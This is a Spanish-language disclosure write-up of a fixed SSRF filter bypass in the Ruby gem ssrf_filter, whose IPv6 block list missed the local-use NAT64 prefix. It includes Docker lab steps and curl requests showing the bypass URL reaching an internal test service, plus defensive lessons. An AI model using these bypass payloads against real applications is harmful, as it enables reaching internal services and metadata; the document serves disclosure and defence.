Resumen
ssrf_filter es una gema de Ruby cuya misión es impedir que una aplicación haga peticiones a direcciones internas cuando la URL la decide un usuario. Para ello resuelve el nombre de host y descarta las IP que pertenecen a rangos privados o reservados.
En la versión 1.3.0 la lista de rangos IPv6 prohibidos (IPV6_BLACKLIST) incluía el prefijo NAT64 "bien conocido", 64:ff9b::/96, pero se olvidaba de su hermano de uso local, 64:ff9b:1::/48. Como la función unsafe_ip_address? decide si una IPv6 es peligrosa solo comprobando si está en esa lista, cualquier dirección del rango 64:ff9b:1::/48 se consideraba pública y pasaba el filtro.
El investigador señaló tres puntos de lib/ssrf_filter/ssrf_filter.rb:
- Líneas 47-59: definición de
IPV6_BLACKLIST, donde falta64:ff9b:1::/48. - Líneas 139-143:
unsafe_ip_address?, que para IPv6 solo mira la pertenencia a esa lista. - Líneas 126-127: el resultado del resolvedor se filtra con
unsafe_ip_address?, de modo que las direcciones de este rango se quedan enpublic_addressesy la petición sigue adelante.
El reporte se envió el 28 de marzo de 2026 y se divulgó el 31 de marzo, ya resuelto.
Pasos de reproducción
El investigador usó un laboratorio en Docker con una aplicación de prueba que expone un endpoint /fetch?url=… protegido con ssrf_filter.
- Arrancar el laboratorio base (contenedor
ssrf_filter_lab). - Levantar un segundo contenedor de la misma aplicación con la capacidad
NET_ADMIN, para poder añadir direcciones IPv6:
NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
- Instalar
iproute2dentro y asignar a la interfaz de loopback la dirección64:ff9b:1::7f00:1(que codifica127.0.0.1bajo el prefijo de uso local):
docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
La salida confirma la dirección:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet6 64:ff9b:1::7f00:1/128 scope global
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
- Poner a escuchar un servicio HTTP "interno" en esa dirección, puerto 18081, que responde con un texto fijo:
docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
sock = server.accept
begin
while (line = sock.gets)
break if line == "\r\n"
end
body = "NAT64_PREFIX_BYPASS_DEMO"
sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
ensure
sock.close rescue nil
end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
- Comprobar desde el propio contenedor que el servicio responde:
docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close
NAT64_PREFIX_BYPASS_DEMO
- Prueba de control: con el prefijo NAT64 bien conocido, el filtro bloquea la petición como debe:
curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}
- La misma petición con el prefijo de uso local pasa el filtro y devuelve el contenido del servicio interno:
curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}
La diferencia entre la petición bloqueada y la permitida es solo el prefijo:
- http://[64:ff9b::7f00:1]:18081 -> blocked (SsrfFilter::PrivateIPAddress)
+ http://[64:ff9b:1::7f00:1]:18081 -> allowed (200, body devuelto)
Impacto
En una aplicación que use ssrf_filter para validar URLs de usuarios, un atacante podía apuntar a direcciones del rango 64:ff9b:1::/48 y el filtro las daba por buenas. Si en el entorno donde corre la aplicación ese rango es enrutable, la petición llegaría a destinos internos o restringidos que la protección debía aislar. Según el investigador, eso podría exponer servicios internos sensibles o metadatos y permitir reconocer la red interna y pivotar desde ella. La condición de que el rango sea enrutable en el despliegue es la que limita el alcance real.
Qué aprender de este caso
- Si auditas un filtro anti-SSRF basado en listas negras de rangos IP, compara su lista con el registro de direcciones de propósito especial de IANA, sobre todo en IPv6: prefijos de traducción como
64:ff9b::/96y64:ff9b:1::/48permiten escribir una IPv4 interna dentro de una IPv6 de aspecto "pública". - Cuando un filtro bloquea un rango, prueba sus variantes cercanas (aquí, el prefijo NAT64 local frente al bien conocido): son el sitio típico donde una lista se queda incompleta.
- Al programar este tipo de filtro, no basta con la pertenencia a una lista: conviene extraer la IPv4 incrustada en direcciones de traducción (NAT64, IPv4-mapped) y volver a validarla como IPv4, o directamente rechazar esos prefijos si la aplicación no los necesita.
- A nivel de red, limitar las salidas del servidor que hace las peticiones (qué destinos y rangos puede alcanzar) evita que un hueco en la lista de la librería se convierta en acceso a servicios internos.